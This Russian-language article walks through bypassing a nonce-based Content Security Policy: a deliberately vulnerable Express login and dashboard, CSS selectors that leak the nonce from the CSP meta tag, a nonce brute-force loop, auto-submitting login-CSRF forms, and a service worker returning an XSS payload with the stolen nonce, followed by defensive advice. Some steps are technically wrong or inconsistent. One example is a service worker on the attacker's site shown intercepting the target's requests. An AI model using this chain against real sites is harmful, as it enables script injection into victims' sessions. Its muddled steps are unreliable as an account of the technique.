Суть атаки

Данное исследование описывает способ обхода Content Security Policy на основе nonce-значений в реалистичном сценарии. Автор создал небольшой таск на XSS для демонстрации уязвимости и подробно разбирает все этапы эксплуатации.

Если вас интересует только решение, то краткая суть такова: можно добиться повторного использования nonce-значения через bfcache с откатом на дисковый кеш после его утечки, а затем заставить HTML-инъекцию быть загруженной заново путем её изменения и запроса без кеширования.

Для успешной атаки необходимы два условия:

  1. Возможность утечки nonce-значения через HTML-инъекцию, например, с помощью тегов <style> или <link rel=stylesheet>

  2. Возможность изменения инъецируемого HTML независимо от nonce-значения, например, через fetch()

Описание уязвимого приложения

Исходный код приложения минимален и содержит простую форму входа, которая устанавливает cookie name:

app.use(express.urlencoded());

app.get("/", (req, res) => {
  res.send(`
    <h1>Login</h1>
    <form action="/login" method="post">
      <input type="text" name="name" placeholder="Enter your name" required autofocus>
      <button type="submit">Login</button>
    </form>
  `);
});

app.post("/login", (req, res) => {
  res.cookie("name", String(req.body.name));
  res.redirect("/dashboard");
});

Важно отметить, что express.urlencoded() позволяет обрабатывать тела запросов с Content-Type: x-www-form-urlencoded, а простой POST-запрос делает возможными CSRF-атаки на этот endpoint входа. Хотя это может показаться не очень критичным, это отличный инструмент для дальнейшего использования.

Дашборд представляет наибольший интерес — это страница с определенной Content Security Policy через тег <meta http-equiv>. Она содержит безопасно сгенерированное случайное nonce-значение, которое копируется в единственный тег <script>, позволяя выполняться только ему:

app.get('/dashboard', (req, res) => {
  if (!req.cookies.name) {
    return res.redirect("/");
  }
  const nonce = crypto.randomBytes(16).toString('hex');
  res.send(`
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-${nonce}'">
    <h1>Dashboard</h1>
    <p id="greeting"></p>
    <script nonce="${nonce}">
      fetch("/profile").then(r => r.json()).then(data => {
        if (data.name) {
          document.getElementById('greeting').innerHTML = \`Hello, <b>\${data.name}</b>!\`;
        }
      })
    </script>
  `);
});

app.get("/profile", (req, res) => {
  res.json({
    name: String(req.cookies.name),
  })
});

Скрипт загружает данные с /profile, который просто возвращает имя из процедуры входа. Довольно часто данные загружаются асинхронно после загрузки страницы. Код затем небезопасно вставляет эти данные с помощью .innerHTML, поэтому имя, содержащее символ <, может заинжектить вредоносный HTML. Однако установленная CSP предотвращает выполнение любых скриптов без nonce-значения, делая XSS на данном этапе невозможным.

Таков сценарий этого таска — XSS-уязвимость, заблокированная CSP на основе nonce-значений.

CSP Nonce и кеширование

Идея этого исследования началась с вопроса о том, как nonce-значение CSP будет взаимодействовать с механизмом кеширования. "nonce" означает "Number used ONCE" (число, используемое один раз), но когда это значение включается в кешируемую страницу, одно и то же значение может возвращаться пользователю несколько раз. Это не совсем новая идея, и люди уже размышляли о рисках, которые это создает.

По сути, проблема решается сама собой, если вредоносный HTML включен в кешированный ответ, поскольку атакующий не может изменить его, чтобы включить теперь известное CSP-значение без повторного рендеринга страницы с новым nonce. Однако это становится проблемой, если nonce и XSS-полезная нагрузка доставляются отдельно и одно может быть кешировано без другого. В этом случае атакующий может прочитать nonce, затем изменить свою полезную нагрузку, чтобы включить его, и если она загружается со страницы со статическим nonce, она теперь будет доверенной и успешно выполнится.

Это было удовлетворительным объяснением на тот момент, но однажды автор подумал: "А что насчет кеша браузера?" Этот кеш всегда существует, серверу не нужно явно настраивать его через какой-то прокси. Если бы он был аналогично эксплуатируемым, трюк мог бы стать намного более универсальным.

CSS-инъекция для утечки nonce

Теперь вернемся к действию! Шаг 1 по-прежнему включает каким-то образом утечку значения nonce, но в браузере, в отличие от сервера, кеш не разделяется с атакующим, поэтому нам нужно найти другой способ его утечки. К счастью, у нас уже есть HTML-инъекция, которая довольно мощная. CSP не блокирует теги <style> или внешние таблицы стилей с <link rel="stylesheet">, поскольку отсутствует style-src. В реальном мире часто можно увидеть, что unsafe-inline все еще разрешен для стилей, поскольку с этим может быть трудно справиться.

Это делает возможной потенциальную утечку частей страницы через CSS-инъекцию.

Nonce является частью страницы, так можем ли мы просто его украсть? Создадим простую тестовую страницу, на которой вставим CSS для утечки его значения:

<script nonce="test">
  console.log("^^^^ leak this!")
</script>

Используя селектор атрибутов, мы можем сопоставить значение этого атрибута, например, если оно начинается с "t":

script[nonce^="t"] {
  background: url(/starts-with-t)
}

Стиль применяется к тегу <script>, но хотя это работало бы почти для любого другого тега, запрос к URL background: не выполняется. Это происходит потому, что скрипт не является отображаемым элементом, поэтому наличие у него фона ничего не значит. Браузер не утруждает себя его загрузкой, когда он не нужен.

Мы должны задать скрипту и его родителю display: block в сочетании с фоном, чтобы заставить его отображаться. Теперь он успешно "утекает", что nonce начинается с "t":

head, script {
  display: block;
}
script[nonce^="t"] {
  background: url(/starts-with-t)
}

Итак, мы победили? К сожалению, наша тестовая настройка была недостаточно реалистичной, чтобы поймать следующее препятствие — добавление реальной CSP:

Content-Security-Policy: script-src 'nonce-test'

Добавление этого приводит к тому, что атрибут nonce= во вкладке Elements становится пустым, наш селектор больше не совпадает, и никакой запрос не отправляется. Наш худший кошмар! Это происходит потому, что значения атрибутов nonce обычно скрыты от большинства API, включая CSS-селекторы, по соображениям безопасности.

Механизм защиты применяется только к атрибуту nonce=, ничему больше. Однако, если мы посмотрим на HTML, мы можем найти другое место, где он хранится:

<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-${nonce}'">

Атрибут content= этого тега <meta>! Мы можем украсть сам заголовок CSP, используя CSS-селекторы для достижения того же результата, поскольку он может быть сопоставлен без проблем:

head, meta {
  display: block;
}
meta[content*="test"] {
  background: url(/contains-test)
}

Это работает! Мы можем украсть nonce из заголовка CSP. Теперь нам нужно автоматизировать этот процесс для утечки всего nonce символ за символом.

Автоматизация кражи nonce

Для автоматизации процесса утечки всего nonce-значения можно использовать простой скрипт, который пробует все возможные символы для каждой позиции:

const charset = "0123456789abcdef";
let nonce = "";

async function leakNonce() {
  for (let i = 0; i < 32; i++) { // 32 hex символа
    for (let char of charset) {
      const test = nonce + char;
      const css = `
        head, meta { display: block; }
        meta[content*="nonce-${test}"] { 
          background: url(/leak?nonce=${test}); 
        }
      `;
      // Инъекция CSS и проверка выполнения запроса
      if (await testCSS(css)) {
        nonce += char;
        break;
      }
    }
  }
  return nonce;
}

Этот подход работает, но довольно медленный, поскольку нам нужно тестировать каждый символ индивидуально. На практике можно оптимизировать это, тестируя несколько символов одновременно или используя техники бинарного поиска.

CSRF для входа в систему

Теперь, когда мы можем заполучить nonce, нужно подумать о том, как его эксплуатировать. Помните тот endpoint входа, который был уязвим к CSRF? Теперь он становится очень полезным. Поток атаки будет следующим:

  1. Жертва посещает нашу вредоносную страницу

  2. Мы выполняем CSRF-атаку, чтобы войти в систему с полезной нагрузкой, содержащей нашу CSS-инъекцию

  3. Мы перенаправляем их на панель управления, где наша CSS-инъекция крадёт nonce

  4. Мы используем утекший nonce для выполнения нашей XSS

CSRF-атака довольно прямолинейна:

<form id="csrf" action="https://target.com/login" method="post">
  <input name="name" value="<style>/* CSS injection here */</style>">
</form>
<script>
  document.getElementById('csrf').submit();
</script>

Но есть проблема: как только мы украли nonce, как заставить нашу XSS-полезную нагрузку выполниться с этим nonce? Страница уже загружена, и если мы попытаемся перейти к ней снова, будет сгенерирован новый nonce.

Здесь в игру вступает механизм кеширования.

Дисковый кеш и bfcache

Ключевое понимание заключается в том, что браузеры имеют несколько механизмов кеширования, и мы можем потенциально злоупотребить ими для повторного использования nonce. Два основных кеша, которые нас интересуют:

  1. bfcache (Back/Forward Cache): Сохраняет полное состояние страницы при навигации

  2. Дисковый кеш: Сохраняет ресурсы на диске для более быстрой загрузки

Атака работает следующим образом:

  1. Загружаем страницу и кпадём nonce с помощью CSS-инъекции

  2. Уходим со страницы (это сохранит её в bfcache)

  3. Изменяем нашу полезную нагрузку, чтобы добавить утекший nonce

  4. Возвращаемся на страницу

Если страница обслуживается из кеша, она будет иметь старый nonce, но нашу новую полезную нагрузку, позволяя выполнение XSS.

Однако есть несколько проблем:

  • bfcache ненадежен и может не всегда сохранять страницу

  • Страница должна быть кешируемой

  • Нам нужен способ изменить нашу полезную нагрузку без изменения nonce

Решение включает хитрый трюк с endpoint /profile. Поскольку панель управления загружает данные с /profile и вставляет их с помощью innerHTML, мы можем:

  1. Первое посещение: Инъекция CSS для кпажи nonce

  2. Уход и возврат (надеясь на попадание в кеш)

  3. Кешированная страница все еще имеет старый nonce

  4. Но когда она загружает /profile, мы возвращаем новую полезную нагрузку с утекшим nonce

  5. Эта полезная нагрузка выполняется с кешированным nonce

Flow атаки

// Шаг 1: CSRF вход с CSS-инъекцией
const csrfForm = document.createElement('form');
csrfForm.action = 'https://target.com/login';
csrfForm.method = 'post';
csrfForm.innerHTML = '<input name="name" value="<style>/* nonce leak CSS */</style>">';
document.body.appendChild(csrfForm);
csrfForm.submit();

// Шаг 2: После кражи nonce, CSRF вход снова с пустой полезной нагрузкой
setTimeout(() => {
  const csrfForm2 = document.createElement('form');
  csrfForm2.action = 'https://target.com/login';
  csrfForm2.method = 'post';
  csrfForm2.innerHTML = '<input name="name" value="">';
  document.body.appendChild(csrfForm2);
  csrfForm2.submit();
  
  // Шаг 3: Переход на панель управления (надеемся из кеша)
  setTimeout(() => {
    window.location = 'https://target.com/dashboard';
  }, 100);
}, 5000);

Тайминг здесь критичен. Нам нужно убедиться, что:

  1. Кража nonce завершается до изменения полезной нагрузки

  2. Страница правильно кешируется

  3. Кеш используется при возврате

Магия: 0 click

Описанная выше атака требует некоторого взаимодействия с пользователем (клики по ссылкам или отправка форм). Но можем ли мы сделать её полностью автоматической?

Ответ — да, с некоторыми дополнительными трюками:

  1. Автоматическая отправка форм: Использование JavaScript для автоматической отправки CSRF-форм

  2. Манипуляция окнами: Открытие цели во всплывающем окне или iframe для контроля навигации

  3. Service Worker: Использование service worker для перехвата и модификации запросов

Вот более сложная атака, которая не требует взаимодействия с пользователем:

// Регистрация service worker для перехвата запросов
navigator.serviceWorker.register('/sw.js');

// Открытие цели во всплывающем окне
const popup = window.open('https://target.com/');

// Ожидание готовности service worker
navigator.serviceWorker.ready.then(() => {
  // Выполнение CSRF-атаки
  performCSRF();
  
  // Ожидание утечки nonce
  setTimeout(() => {
    // Изменение полезной нагрузки и запуск эксплуатации кеша
    triggerCacheExploit();
  }, 5000);
});

Service worker может перехватывать запрос /profile и возвращать разные полезные нагрузки в зависимости от состояния атаки:

// sw.js
self.addEventListener('fetch', event => {
  if (event.request.url.includes('/profile')) {
    if (attackState === 'leak') {
      // Возврат полезной нагрузки CSS-инъекции
      event.respondWith(new Response(JSON.stringify({
        name: '<style>/* nonce leak */</style>'
      })));
    } else if (attackState === 'exploit') {
      // Возврат XSS с украденным nonce
      event.respondWith(new Response(JSON.stringify({
        name: `<script nonce="${leakedNonce}">alert('XSS')</script>`
      })));
    }
  }
});

Этот подход более сложен, но достигает полностью автоматизированной атаки.

Защитные меры

Для защиты от подобных атак рекомендуется:

  1. Правильные заголовки кеша: Использование Cache-Control: no-store для чувствительных страниц

  2. Ограничения style-src: Включение style-src 'self' в CSP для предотвращения inline-стилей

  3. Ротация nonce: Генерация новых nonce для каждого запроса, даже кешированных

  4. SameSite cookies: Использование SameSite=Strict для предотвращения CSRF-атак

  5. Дополнительная валидация: Проверка источника запросов и добавление CSRF-токенов

Заключение

Это исследование демонстрирует новый способ обхода CSP на основе nonce с использованием механизмов кеширования браузера. Атака объединяет несколько техник:

  1. CSS-инъекцию для кражи значения nonce

  2. CSRF для контроля сессии жертвы

  3. Эксплуатацию кеша для повторного использования украденного nonce

  4. Атаки по времени для координации эксплойта

Хотя атака имеет специфические требования (возможность CSS-инъекции, отдельная загрузка данных, кешируемые ответы), она показывает, что CSP на основе nonce не является панацеей для предотвращения XSS.

Это исследование подчеркивает важность глубокой защиты и понимания сложных взаимодействий между различными механизмами безопасности браузера.

Комментарий от меня: Данная техника представляет серьезную угрозу для веб-приложений, использующих CSP на основе nonce. Российским разработчикам стоит особенно внимательно отнестись к настройке заголовков кеширования и ограничений на inline-стили. Рекомендуется провести аудит существующих приложений на предмет уязвимости к подобным атакам и внедрить дополнительные защитные меры, описанные в статье.

Комментарии (0)